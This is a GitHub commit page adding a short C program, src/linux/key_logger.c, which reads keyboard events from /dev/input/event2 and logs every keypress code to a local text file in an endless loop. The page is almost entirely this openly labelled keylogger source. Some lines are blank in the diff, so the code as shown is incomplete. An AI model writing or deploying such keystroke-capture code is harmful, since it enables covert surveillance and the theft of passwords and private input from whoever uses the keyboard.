We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent c18dc00 commit 98f477bCopy full SHA for 98f477b
src/linux/key_logger.c
@@ -0,0 +1,35 @@
1
+#include <linux/input.h>
2
+#include <fcntl.h>
3
+#include <unistd.h>
4
+#include <stdio.h>
5
+#include <stdlib.h>
6
+
7
+int main ( ) {
8
+ int fd = open("/dev/input/event2", O_RDONLY);
9
+ if (fd < 0) {
10
+ perror("open event device");
11
+ return 1;
12
+ }
13
14
+ FILE * log = fopen("keypresses.txt", "w");
15
+ if (! log) {
16
+ perror("fopen");
17
18
19
20
+ struct input_event ev;
21
22
+ while (1) {
23
+ ssize_t n = read(fd, &ev, sizeof(ev));
24
+ if (n != sizeof(ev)) continue;
25
26
+ if (ev.type == EV_KEY && ev.value == 1) {
27
+ fprintf(log, "KEYCODE %d\n", ev.code);
28
+ fflush(log);
29
30
31
32
+ close(fd);
33
+ fclose(log);
34
+ return 0;
35
+}
0 commit comments